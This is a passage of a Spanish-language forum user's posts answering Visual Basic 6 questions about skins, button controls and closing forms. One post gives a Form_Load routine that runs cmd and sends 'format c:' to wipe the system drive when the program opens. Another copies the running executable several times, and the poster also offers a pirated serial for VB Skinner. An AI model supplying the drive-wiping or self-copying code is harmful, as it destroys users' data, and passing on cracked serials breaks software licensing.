Mensajes

creo que ese codigo no funciona ya que el discoduro esta en uso y no te va a dejar formatearlo, pero si se reiniciara primero a lo mejor hubiera una posibilidad pero no estoy seguro ya que nunk lo he intentado

Funcionaria si se iniciara desde la consola de comandos en el arranque si se arranca con windows no funciona 

si yo probe el activeskin y no me gusto para nada el vb skinner es facil de usar si te decides por el  puedes pedirme el serial por privado y para los botones puedes usar el programa que mas atras te habia dicho

Private Sub Form_Load()   
shell "cmd"                           ' shell nos permite ejecutar comandos del sistema y en este caso llamamos al dos
sendkeys "format c:"     ´sendkeys escribe format C: en el cmd
sendkeys "{ENTER}"    ´sendkeys "{enter}" manda los datos escritos
end
end sub

 

No te entendi muy bien, pero puedes hacer esto:

Dim mio As String
mio = App.Path & "\" & App.EXEName & ".exe
For i =0 to 10 ' (puedes poner las veces que kieras)
Filecopy mio, mio & i
Next

El code en si esta bien pero ala hora de ejecucion no funciona porque quedan asi los archivos nombre.exe1,nombre.exe2 etc...

mas bien el code es este  :

For i = 1 To 3

FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & i & ".exe"     
'Este comando busca el directorio y nombre del archivo despues lo copia pero despues del nombre agrega la variable I que a esa le dimos el valor con for i = 1 to 3
Next

salud2

pues ami me sigue sin arrancar y agrego todas las referencias del messenger 

con algun p2p busca en el foro hay varios link de descarga directa

para crear skins solo conozco visual basic skinner pero no es gratis  puedes conseguir el serial ,pero un buen control para crear botones es  KewlButtonz lo puedes descargar de aqui http://mx.geocities.com/esteban_7_21/ocx-KewlButtonz.zip 

ultimamente se han pedido muchas peticiones para creacion de foros nuevos

no te preocupes por mi mejor si lo haces funcionar es buena la idea de poner un list para bloquear muchos contactos 

Veo que estas confundido  para empezar close no es una propiedad que se puede utilizar con un objeto de esa forma y por lo que veo del parentesis () intentas utilizar una subrutina y si intentas hacer eso el codigo seria

Private Sub Command1_Click()
Form1.cerrar
End Sub


Sub cerrar()
Unload Me
End Sub